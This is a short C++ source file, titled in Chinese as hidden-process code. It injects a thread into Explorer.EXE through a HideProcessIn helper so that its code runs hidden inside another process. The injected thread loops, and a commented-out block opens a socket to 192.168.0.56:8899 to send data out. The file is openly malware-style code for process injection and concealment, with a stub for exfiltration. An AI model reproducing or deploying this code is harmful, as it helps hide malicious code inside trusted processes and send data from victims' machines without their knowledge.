main.cpp

隐藏进程代码

#include "API.h"
CAPI g_api;
DWORD WINAPI MyNtRemoteThreadMain(LPVOID lpParameter)
{
	g_api.ReloadDLL();
	char *sz={"这里是要发送的数据!"};
	while(TRUE)
	{
		Beep(300,100);
		Sleep(1000);
	/*	CLSocket sock;
		sock.Create();
		sock.Connect("192.168.0.56",8899);
		sock.Send(sz,strlen(sz));
		sock.Close();*/
		//connect()
	}
	return 0;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
	if(g_api.HideProcessIn("Explorer.EXE",MyNtRemoteThreadMain))
	//if(g_api.HideProcessIn("cmd.EXE",MyNtRemoteThreadMain))
	//(g_api.HideProcessIn("remotethreadtest.EXE",MyNtRemoteThreadMain))
	{
		DMsgBox("run ok");
		
	}
	else
		DMsgBox("run error");
	return TRUE;
}